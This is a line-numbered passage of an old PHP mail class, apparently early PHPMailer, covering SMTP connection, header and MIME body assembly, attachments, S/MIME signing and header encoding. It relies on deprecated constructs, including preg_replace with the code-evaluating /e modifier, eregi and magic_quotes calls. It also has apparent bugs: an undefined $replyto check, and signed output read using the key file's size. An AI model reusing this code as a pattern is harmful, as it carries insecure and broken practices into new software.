2050 $this->smtp->do_debug = $this->SMTPDebug;
2051 $hosts = explode(';', $this->Host);
2052 $index = 0;
2053 $connection = ($this->smtp->Connected());
2054
2055 /* Retry while there is no connection */
2056 while($index < count($hosts) && $connection == false) {
2057 $hostinfo = array();
2058 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
2059 $host = $hostinfo[1];
2060 $port = $hostinfo[2];
2061 } else {
2062 $host = $hosts[$index];
2063 $port = $this->Port;
2064 }
2065
2066 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
2067 if ($this->Helo != '') {
2068 $this->smtp->Hello($this->Helo);
2069 } else {
2070 $this->smtp->Hello($this->ServerHostname());
2071 }
2072
2073 $connection = true;
2074 if($this->SMTPAuth) {
2075 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
2076 $this->SetError($this->Lang('authenticate'));
2077 $this->smtp->Reset();
2078 $connection = false;
2079 }
2080 }
2081 }
2082 $index++;
2083 }
2084 if(!$connection) {
2085 $this->SetError($this->Lang('connect_host'));
2086 }
2087
2088 return $connection;
2089 }
2090
2091 /**
2092 * Closes the active SMTP session if one exists.
2093 * @return void
2094 */
2095 function SmtpClose() {
2096 if($this->smtp != NULL) {
2097 if($this->smtp->Connected()) {
2098 $this->smtp->Quit();
2099 $this->smtp->Close();
2100 }
2101 }
2102 }
2103
2104 /**
2105 * Sets the language for all class error messages. Returns false
2106 * if it cannot load the language file. The default language type
2107 * is English.
2108 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2109 * @param string $lang_path Path to the language file directory
2110 * @access public
2111 * @return bool
2112 */
2113 function SetLanguage($lang_type, $lang_path = 'language/') {
2114 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2115 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2116 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2117 include($lang_path.'phpmailer.lang-en.php');
2118 } else {
2119 $this->SetError('Could not load language file');
2120 return false;
2121 }
2122 $this->language = $PHPMAILER_LANG;
2123
2124 return true;
2125 }
2126
2127 /////////////////////////////////////////////////
2128 // METHODS, MESSAGE CREATION
2129 /////////////////////////////////////////////////
2130
2131 /**
2132 * Creates recipient headers.
2133 * @access private
2134 * @return string
2135 */
2136 function AddrAppend($type, $addr) {
2137 $addr_str = $type . ': ';
2138 $addr_str .= $this->AddrFormat($addr[0]);
2139 if(count($addr) > 1) {
2140 for($i = 1; $i < count($addr); $i++) {
2141 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2142 }
2143 }
2144 $addr_str .= $this->LE;
2145
2146 return $addr_str;
2147 }
2148
2149 /**
2150 * Formats an address correctly.
2151 * @access private
2152 * @return string
2153 */
2154 function AddrFormat($addr) {
2155 if(empty($addr[1])) {
2156 $formatted = $this->SecureHeader($addr[0]);
2157 } else {
2158 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2159 }
2160
2161 return $formatted;
2162 }
2163
2164 /**
2165 * Wraps message for use with mailers that do not
2166 * automatically perform wrapping and for quoted-printable.
2167 * Original written by philippe.
2168 * @access private
2169 * @return string
2170 */
2171 function WrapText($message, $length, $qp_mode = false) {
2172 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2173 // If utf-8 encoding is used, we will need to make sure we don't
2174 // split multibyte characters when we wrap
2175 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2176
2177 $message = $this->FixEOL($message);
2178 if (substr($message, -1) == $this->LE) {
2179 $message = substr($message, 0, -1);
2180 }
2181
2182 $line = explode($this->LE, $message);
2183 $message = '';
2184 for ($i=0 ;$i < count($line); $i++) {
2185 $line_part = explode(' ', $line[$i]);
2186 $buf = '';
2187 for ($e = 0; $e<count($line_part); $e++) {
2188 $word = $line_part[$e];
2189 if ($qp_mode and (strlen($word) > $length)) {
2190 $space_left = $length - strlen($buf) - 1;
2191 if ($e != 0) {
2192 if ($space_left > 20) {
2193 $len = $space_left;
2194 if ($is_utf8) {
2195 $len = $this->UTF8CharBoundary($word, $len);
2196 } elseif (substr($word, $len - 1, 1) == "=") {
2197 $len--;
2198 } elseif (substr($word, $len - 2, 1) == "=") {
2199 $len -= 2;
2200 }
2201 $part = substr($word, 0, $len);
2202 $word = substr($word, $len);
2203 $buf .= ' ' . $part;
2204 $message .= $buf . sprintf("=%s", $this->LE);
2205 } else {
2206 $message .= $buf . $soft_break;
2207 }
2208 $buf = '';
2209 }
2210 while (strlen($word) > 0) {
2211 $len = $length;
2212 if ($is_utf8) {
2213 $len = $this->UTF8CharBoundary($word, $len);
2214 } elseif (substr($word, $len - 1, 1) == "=") {
2215 $len--;
2216 } elseif (substr($word, $len - 2, 1) == "=") {
2217 $len -= 2;
2218 }
2219 $part = substr($word, 0, $len);
2220 $word = substr($word, $len);
2221
2222 if (strlen($word) > 0) {
2223 $message .= $part . sprintf("=%s", $this->LE);
2224 } else {
2225 $buf = $part;
2226 }
2227 }
2228 } else {
2229 $buf_o = $buf;
2230 $buf .= ($e == 0) ? $word : (' ' . $word);
2231
2232 if (strlen($buf) > $length and $buf_o != '') {
2233 $message .= $buf_o . $soft_break;
2234 $buf = $word;
2235 }
2236 }
2237 }
2238 $message .= $buf . $this->LE;
2239 }
2240
2241 return $message;
2242 }
2243
2244 /**
2245 * Finds last character boundary prior to maxLength in a utf-8
2246 * quoted (printable) encoded string.
2247 * Original written by Colin Brown.
2248 * @access private
2249 * @param string $encodedText utf-8 QP text
2250 * @param int $maxLength find last character boundary prior to this length
2251 * @return int
2252 */
2253 function UTF8CharBoundary($encodedText, $maxLength) {
2254 $foundSplitPos = false;
2255 $lookBack = 3;
2256 while (!$foundSplitPos) {
2257 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2258 $encodedCharPos = strpos($lastChunk, "=");
2259 if ($encodedCharPos !== false) {
2260 // Found start of encoded character byte within $lookBack block.
2261 // Check the encoded byte value (the 2 chars after the '=')
2262 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2263 $dec = hexdec($hex);
2264 if ($dec < 128) { // Single byte character.
2265 // If the encoded char was found at pos 0, it will fit
2266 // otherwise reduce maxLength to start of the encoded char
2267 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2268 $maxLength - ($lookBack - $encodedCharPos);
2269 $foundSplitPos = true;
2270 } elseif ($dec >= 192) { // First byte of a multi byte character
2271 // Reduce maxLength to split at start of character
2272 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2273 $foundSplitPos = true;
2274 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2275 $lookBack += 3;
2276 }
2277 } else {
2278 // No encoded character found
2279 $foundSplitPos = true;
2280 }
2281 }
2282 return $maxLength;
2283 }
2284
2285 /**
2286 * Set the body wrapping.
2287 * @access private
2288 * @return void
2289 */
2290 function SetWordWrap() {
2291 if($this->WordWrap < 1) {
2292 return;
2293 }
2294
2295 switch($this->message_type) {
2296 case 'alt':
2297 /* fall through */
2298 case 'alt_attachments':
2299 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2300 break;
2301 default:
2302 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2303 break;
2304 }
2305 }
2306
2307 /**
2308 * Assembles message header.
2309 * @access private
2310 * @return string
2311 */
2312 function CreateHeader() {
2313 $result = '';
2314
2315 /* Set the boundaries */
2316 $uniq_id = md5(uniqid(time()));
2317 $this->boundary[1] = 'b1_' . $uniq_id;
2318 $this->boundary[2] = 'b2_' . $uniq_id;
2319
2320 $result .= $this->HeaderLine('Date', $this->RFCDate());
2321 if($this->Sender == '') {
2322 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2323 } else {
2324 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2325 }
2326
2327 /* To be created automatically by mail() */
2328 if($this->Mailer != 'mail') {
2329 if(count($this->to) > 0) {
2330 $result .= $this->AddrAppend('To', $this->to);
2331 } elseif (count($this->cc) == 0) {
2332 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2333 }
2334 if(count($this->cc) > 0) {
2335 $result .= $this->AddrAppend('Cc', $this->cc);
2336 }
2337 }
2338
2339 $from = array();
2340 $from[0][0] = trim($this->From);
2341 $from[0][1] = $this->FromName;
2342 $result .= $this->AddrAppend('From', $from);
2343
2344 /* sendmail and mail() extract Cc from the header before sending */
2345 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2346 $result .= $this->AddrAppend('Cc', $this->cc);
2347 }
2348
2349 /* sendmail and mail() extract Bcc from the header before sending */
2350 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2351 $result .= $this->AddrAppend('Bcc', $this->bcc);
2352 }
2353 if($replyto != "")
2354 {
2355 if(count($this->ReplyTo) > 0) {
2356 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2357 }
2358 }
2359 /* mail() sets the subject itself */
2360 if($this->Mailer != 'mail') {
2361 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2362 }
2363
2364 if($this->MessageID != '') {
2365 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2366 } else {
2367 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2368 }
2369 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2370 if($this->ConfirmReadingTo != '') {
2371 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2372 }
2373
2374 // Add custom headers
2375 for($index = 0; $index < count($this->CustomHeader); $index++) {
2376 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2377 }
2378 if (!$this->sign_key_file) {
2379 $result .= $this->HeaderLine('MIME-Version', '1.0');
2380 $result .= $this->GetMailMIME();
2381 }
2382
2383 return $result;
2384 }
2385
2386 /**
2387 * Returns the message MIME.
2388 * @access private
2389 * @return string
2390 */
2391 function GetMailMIME() {
2392 $result = '';
2393 switch($this->message_type) {
2394 case 'plain':
2395 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2396 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2397 break;
2398 case 'attachments':
2399 /* fall through */
2400 case 'alt_attachments':
2401 if($this->InlineImageExists()){
2402 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2403 } else {
2404 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2405 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2406 }
2407 break;
2408 case 'alt':
2409 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2410 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2411 break;
2412 }
2413
2414 if($this->Mailer != 'mail') {
2415 $result .= $this->LE.$this->LE;
2416 }
2417
2418 return $result;
2419 }
2420
2421 /**
2422 * Assembles the message body. Returns an empty string on failure.
2423 * @access private
2424 * @return string
2425 */
2426 function CreateBody() {
2427 $result = '';
2428 if ($this->sign_key_file) {
2429 $result .= $this->GetMailMIME();
2430 }
2431
2432 $this->SetWordWrap();
2433
2434 switch($this->message_type) {
2435 case 'alt':
2436 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2437 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2438 $result .= $this->LE.$this->LE;
2439 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2440 $result .= $this->EncodeString($this->Body, $this->Encoding);
2441 $result .= $this->LE.$this->LE;
2442 $result .= $this->EndBoundary($this->boundary[1]);
2443 break;
2444 case 'plain':
2445 $result .= $this->EncodeString($this->Body, $this->Encoding);
2446 break;
2447 case 'attachments':
2448 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2449 $result .= $this->EncodeString($this->Body, $this->Encoding);
2450 $result .= $this->LE;
2451 $result .= $this->AttachAll();
2452 break;
2453 case 'alt_attachments':
2454 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2455 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2456 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2457 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2458 $result .= $this->LE.$this->LE;
2459 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2460 $result .= $this->EncodeString($this->Body, $this->Encoding);
2461 $result .= $this->LE.$this->LE;
2462 $result .= $this->EndBoundary($this->boundary[2]);
2463 $result .= $this->AttachAll();
2464 break;
2465 }
2466
2467 if($this->IsError()) {
2468 $result = '';
2469 } else if ($this->sign_key_file) {
2470 $file = tempnam("", "mail");
2471 $fp = fopen($file, "w");
2472 fwrite($fp, $result);
2473 fclose($fp);
2474 $signed = tempnam("", "signed");
2475
2476 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2477 $fp = fopen($signed, "r");
2478 $result = fread($fp, filesize($this->sign_key_file));
2479 fclose($fp);
2480 } else {
2481 $this->SetError($this->Lang("signing").openssl_error_string());
2482 $result = '';
2483 }
2484
2485 unlink($file);
2486 unlink($signed);
2487 }
2488
2489 return $result;
2490 }
2491
2492 /**
2493 * Returns the start of a message boundary.
2494 * @access private
2495 */
2496 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2497 $result = '';
2498 if($charSet == '') {
2499 $charSet = $this->CharSet;
2500 }
2501 if($contentType == '') {
2502 $contentType = $this->ContentType;
2503 }
2504 if($encoding == '') {
2505 $encoding = $this->Encoding;
2506 }
2507 $result .= $this->TextLine('--' . $boundary);
2508 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2509 $result .= $this->LE;
2510 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2511 $result .= $this->LE;
2512
2513 return $result;
2514 }
2515
2516 /**
2517 * Returns the end of a message boundary.
2518 * @access private
2519 */
2520 function EndBoundary($boundary) {
2521 return $this->LE . '--' . $boundary . '--' . $this->LE;
2522 }
2523
2524 /**
2525 * Sets the message type.
2526 * @access private
2527 * @return void
2528 */
2529 function SetMessageType() {
2530 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2531 $this->message_type = 'plain';
2532 } else {
2533 if(count($this->attachment) > 0) {
2534 $this->message_type = 'attachments';
2535 }
2536 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2537 $this->message_type = 'alt';
2538 }
2539 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2540 $this->message_type = 'alt_attachments';
2541 }
2542 }
2543 }
2544
2545 /* Returns a formatted header line.
2546 * @access private
2547 * @return string
2548 */
2549 function HeaderLine($name, $value) {
2550 return $name . ': ' . $value . $this->LE;
2551 }
2552
2553 /**
2554 * Returns a formatted mail line.
2555 * @access private
2556 * @return string
2557 */
2558 function TextLine($value) {
2559 return $value . $this->LE;
2560 }
2561
2562 /////////////////////////////////////////////////
2563 // CLASS METHODS, ATTACHMENTS
2564 /////////////////////////////////////////////////
2565
2566 /**
2567 * Adds an attachment from a path on the filesystem.
2568 * Returns false if the file could not be found
2569 * or accessed.
2570 * @param string $path Path to the attachment.
2571 * @param string $name Overrides the attachment name.
2572 * @param string $encoding File encoding (see $Encoding).
2573 * @param string $type File extension (MIME) type.
2574 * @return bool
2575 */
2576 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2577 if(!@is_file($path)) {
2578 $this->SetError($this->Lang('file_access') . $path);
2579 return false;
2580 }
2581
2582 $filename = basename($path);
2583 if($name == '') {
2584 $name = $filename;
2585 }
2586
2587 $cur = count($this->attachment);
2588 $this->attachment[$cur][0] = $path;
2589 $this->attachment[$cur][1] = $filename;
2590 $this->attachment[$cur][2] = $name;
2591 $this->attachment[$cur][3] = $encoding;
2592 $this->attachment[$cur][4] = $type;
2593 $this->attachment[$cur][5] = false; // isStringAttachment
2594 $this->attachment[$cur][6] = 'attachment';
2595 $this->attachment[$cur][7] = 0;
2596
2597 return true;
2598 }
2599
2600 /**
2601 * Attaches all fs, string, and binary attachments to the message.
2602 * Returns an empty string on failure.
2603 * @access private
2604 * @return string
2605 */
2606 function AttachAll() {
2607 /* Return text of body */
2608 $mime = array();
2609
2610 /* Add all attachments */
2611 for($i = 0; $i < count($this->attachment); $i++) {
2612 /* Check for string attachment */
2613 $bString = $this->attachment[$i][5];
2614 if ($bString) {
2615 $string = $this->attachment[$i][0];
2616 } else {
2617 $path = $this->attachment[$i][0];
2618 }
2619
2620 $filename = $this->attachment[$i][1];
2621 $name = $this->attachment[$i][2];
2622 $encoding = $this->attachment[$i][3];
2623 $type = $this->attachment[$i][4];
2624 $disposition = $this->attachment[$i][6];
2625 $cid = $this->attachment[$i][7];
2626
2627 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2628 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2629 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2630
2631 if($disposition == 'inline') {
2632 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2633 }
2634
2635 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2636
2637 /* Encode as string attachment */
2638 if($bString) {
2639 $mime[] = $this->EncodeString($string, $encoding);
2640 if($this->IsError()) {
2641 return '';
2642 }
2643 $mime[] = $this->LE.$this->LE;
2644 } else {
2645 $mime[] = $this->EncodeFile($path, $encoding);
2646 if($this->IsError()) {
2647 return '';
2648 }
2649 $mime[] = $this->LE.$this->LE;
2650 }
2651 }
2652
2653 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2654
2655 return join('', $mime);
2656 }
2657
2658 /**
2659 * Encodes attachment in requested format. Returns an
2660 * empty string on failure.
2661 * @access private
2662 * @return string
2663 */
2664 function EncodeFile ($path, $encoding = 'base64') {
2665 if(!@$fd = fopen($path, 'rb')) {
2666 $this->SetError($this->Lang('file_open') . $path);
2667 return '';
2668 }
2669 $magic_quotes = get_magic_quotes_runtime();
2670 set_magic_quotes_runtime(0);
2671 $file_buffer = fread($fd, filesize($path));
2672 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2673 fclose($fd);
2674 set_magic_quotes_runtime($magic_quotes);
2675
2676 return $file_buffer;
2677 }
2678
2679 /**
2680 * Encodes string to requested format. Returns an
2681 * empty string on failure.
2682 * @access private
2683 * @return string
2684 */
2685 function EncodeString ($str, $encoding = 'base64') {
2686 $encoded = '';
2687 switch(strtolower($encoding)) {
2688 case 'base64':
2689 /* chunk_split is found in PHP >= 3.0.6 */
2690 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2691 break;
2692 case '7bit':
2693 case '8bit':
2694 $encoded = $this->FixEOL($str);
2695 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2696 $encoded .= $this->LE;
2697 break;
2698 case 'binary':
2699 $encoded = $str;
2700 break;
2701 case 'quoted-printable':
2702 $encoded = $this->EncodeQP($str);
2703 break;
2704 default:
2705 $this->SetError($this->Lang('encoding') . $encoding);
2706 break;
2707 }
2708 return $encoded;
2709 }
2710
2711 /**
2712 * Encode a header string to best of Q, B, quoted or none.
2713 * @access private
2714 * @return string
2715 */
2716 function EncodeHeader ($str, $position = 'text') {
2717 $x = 0;
2718
2719 switch (strtolower($position)) {
2720 case 'phrase':
2721 if (!preg_match('/[\200-\377]/', $str)) {
2722 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2723 $encoded = addcslashes($str, "\0..\37\177\\\"");
2724 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2725 return ($encoded);
2726 } else {
2727 return ("\"$encoded\"");
2728 }
2729 }
2730 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2731 break;
2732 case 'comment':
2733 $x = preg_match_all('/[()"]/', $str, $matches);
2734 /* Fall-through */
2735 case 'text':
2736 default:
2737 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2738 break;
2739 }
2740
2741 if ($x == 0) {
2742 return ($str);
2743 }
2744
2745 $maxlen = 75 - 7 - strlen($this->CharSet);
2746 /* Try to select the encoding which should produce the shortest output */
2747 if (strlen($str)/3 < $x) {
2748 $encoding = 'B';
2749 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2750 // Use a custom function which correctly encodes and wraps long
2751 // multibyte strings without breaking lines within a character
2752 $encoded = $this->Base64EncodeWrapMB($str);
2753 } else {
2754 $encoded = base64_encode($str);
2755 $maxlen -= $maxlen % 4;
2756 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2757 }
2758 } else {
2759 $encoding = 'Q';
2760 $encoded = $this->EncodeQ($str, $position);
2761 $encoded = $this->WrapText($encoded, $maxlen, true);
2762 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2763 }
2764
2765 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2766 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2767
2768 return $encoded;
2769 }
2770
2771 /**
2772 * Checks if a string contains multibyte characters.
2773 * @access private
2774 * @param string $str multi-byte text to wrap encode
2775 * @return bool
2776 */
2777 function HasMultiBytes($str) {
2778 if (function_exists('mb_strlen')) {
2779 return (strlen($str) > mb_strlen($str, $this->CharSet));
2780 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2781 return False;
2782 }
2783 }
2784
2785 /**
2786 * Correctly encodes and wraps long multibyte strings for mail headers
2787 * without breaking lines within a character.
2788 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2789 * @access private
2790 * @param string $str multi-byte text to wrap encode
2791 * @return string
2792 */
2793 function Base64EncodeWrapMB($str) {
2794 $start = "=?".$this->CharSet."?B?";
2795 $end = "?=";
2796 $encoded = "";
2797
2798 $mb_length = mb_strlen($str, $this->CharSet);
2799 // Each line must have length <= 75, including $start and $end
2800 $length = 75 - strlen($start) - strlen($end);
2801 // Average multi-byte ratio
2802 $ratio = $mb_length / strlen($str);
2803 // Base64 has a 4:3 ratio
2804 $offset = $avgLength = floor($length * $ratio * .75);
2805
2806 for ($i = 0; $i < $mb_length; $i += $offset) {
2807 $lookBack = 0;
2808
2809 do {
2810 $offset = $avgLength - $lookBack;
2811 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2812 $chunk = base64_encode($chunk);
2813 $lookBack++;
2814 }
2815 while (strlen($chunk) > $length);
2816
2817 $encoded .= $chunk . $this->LE;
2818 }
2819
2820 // Chomp the last linefeed
2821 $encoded = substr($encoded, 0, -strlen($this->LE));
2822 return $encoded;
2823 }
2824
2825 /**
2826 * Encode string to quoted-printable.
2827 * @access private
2828 * @return string
2829 */
2830 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2831 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2832 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2833 $eol = "\r\n";
2834 $escape = '=';
2835 $output = '';
2836 while( list(, $line) = each($lines) ) {
2837 $linlen = strlen($line);
2838 $newline = '';
2839 for($i = 0; $i < $linlen; $i++) {
2840 $c = substr( $line, $i, 1 );
2841 $dec = ord( $c );
2842 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2843 $c = '=2E';
2844 }
2845 if ( $dec == 32 ) {
2846 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2847 $c = '=20';
2848 } else if ( $space_conv ) {
2849 $c = '=20';
2850 }
2851 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2852 $h2 = floor($dec/16);
2853 $h1 = floor($dec%16);
2854 $c = $escape.$hex[$h2].$hex[$h1];
2855 }
2856 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2857 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2858 $newline = '';
2859 // check if newline first character will be point or not
2860 if ( $dec == 46 ) {
2861 $c = '=2E';
2862 }
2863 }
2864 $newline .= $c;
2865 } // end of for
2866 $output .= $newline.$eol;
2867 } // end of while
2868 return trim($output);
2869 }
2870
2871 /**
2872 * Encode string to q encoding.
2873 * @access private
2874 * @return string
2875 */
2876 function EncodeQ ($str, $position = 'text') {
2877 /* There should not be any EOL in the string */
2878 $encoded = preg_replace("[\r\n]", '', $str);
2879
2880 switch (strtolower($position)) {
2881 case 'phrase':
2882 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2883 break;
2884 case 'comment':
2885 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2886 case 'text':
2887 default:
2888 /* Replace every high ascii, control =, ? and _ characters */
2889 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2890 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2891 break;
2892 }
2893
2894 /* Replace every spaces to _ (more readable than =20) */
2895 $encoded = str_replace(' ', '_', $encoded);
2896
2897 return $encoded;
2898 }
2899
2900 /**
2901 * Adds a string or binary attachment (non-filesystem) to the list.
2902 * This method can be used to attach ascii or binary data,
2903 * such as a BLOB record from a database.
2904 * @param string $string String attachment data.
2905 * @param string $filename Name of the attachment.
2906 * @param string $encoding File encoding (see $Encoding).
2907 * @param string $type File extension (MIME) type.
2908 * @return void
2909 */
2910 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2911 /* Append to $attachment array */
2912 $cur = count($this->attachment);
2913 $this->attachment[$cur][0] = $string;
2914 $this->attachment[$cur][1] = $filename;
2915 $this->attachment[$cur][2] = $filename;
2916 $this->attachment[$cur][3] = $encoding;
2917 $this->attachment[$cur][4] = $type;
2918 $this->attachment[$cur][5] = true; // isString
2919 $this->attachment[$cur][6] = 'attachment';
2920 $this->attachment[$cur][7] = 0;
2921 }
2922
2923 /**
2924 * Adds an embedded attachment. This can include images, sounds, and
2925 * just about any other document. Make sure to set the $type to an
2926 * image type. For JPEG images use "image/jpeg" and for GIF images
2927 * use "image/gif".
2928 * @param string $path Path to the attachment.
2929 * @param string $cid Content ID of the attachment. Use this to identify
2930 * the Id for accessing the image in an HTML form.
2931 * @param string $name Overrides the attachment name.
2932 * @param string $encoding File encoding (see $Encoding).
2933 * @param string $type File extension (MIME) type.
2934 * @return bool
2935 */
2936 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2937
2938 if(!@is_file($path)) {
2939 $this->SetError($this->Lang('file_access') . $path);
2940 return false;
2941 }
2942
2943 $filename = basename($path);
2944 if($name == '') {
2945 $name = $filename;
2946 }
2947
2948 /* Append to $attachment array */
2949 $cur = count($this->attachment);
2950 $this->attachment[$cur][0] = $path;
2951 $this->attachment[$cur][1] = $filename;
2952 $this->attachment[$cur][2] = $name;
2953 $this->attachment[$cur][3] = $encoding;
2954 $this->attachment[$cur][4] = $type;
2955 $this->attachment[$cur][5] = false;
2956 $this->attachment[$cur][6] = 'inline';
2957 $this->attachment[$cur][7] = $cid;
2958
2959 return true;
2960 }
2961
2962 /**
2963 * Returns true if an inline attachment is present.
2964 * @access private
2965 * @return bool
2966 */
2967 function InlineImageExists() {
2968 $result = false;
2969 for($i = 0; $i < count($this->attachment); $i++) {
2970 if($this->attachment[$i][6] == 'inline') {
2971 $result = true;
2972 break;
2973 }
2974 }
2975
2976 return $result;
2977 }
2978
2979 /////////////////////////////////////////////////
2980 // CLASS METHODS, MESSAGE RESET
2981 /////////////////////////////////////////////////
2982
2983 /**
2984 * Clears all recipients assigned in the TO array. Returns void.
2985 * @return void
2986 */
2987 function ClearAddresses() {
2988 $this->to = array();
2989 }
2990
2991 /**
2992 * Clears all recipients assigned in the CC array. Returns void.
2993 * @return void
2994 */
2995 function ClearCCs() {
2996 $this->cc = array();
2997 }
2998
2999 /**
3000 * Clears all recipients assigned in the BCC array. Returns void.
3001 * @return void
3002 */
3003 function ClearBCCs() {
3004 $this->bcc = array();
3005 }
3006
3007 /**
3008 * Clears all recipients assigned in the ReplyTo array. Returns void.
3009 * @return void
3010 */
3011 function ClearReplyTos() {
3012 $this->ReplyTo = array();
3013 }
3014
3015 /**
3016 * Clears all recipients assigned in the TO, CC and BCC
3017 * array. Returns void.
3018 * @return void
3019 */
3020 function ClearAllRecipients() {
3021 $this->to = array();
3022 $this->cc = array();
3023 $this->bcc = array();
3024 }
3025
3026 /**
3027 * Clears all previously set filesystem, string, and binary
3028 * attachments. Returns void.
3029 * @return void
3030 */
3031 function ClearAttachments() {
3032 $this->attachment = array();
3033 }
3034
3035 /**
3036 * Clears all custom headers. Returns void.
3037 * @return void
3038 */
3039 function ClearCustomHeaders() {
3040 $this->CustomHeader = array();
3041 }
3042
3043 /////////////////////////////////////////////////
3044 // CLASS METHODS, MISCELLANEOUS
3045 /////////////////////////////////////////////////
3046
3047 /**
3048 * Adds the error message to the error container.
3049 * Returns void.
3050 * @access private
3051 * @return void
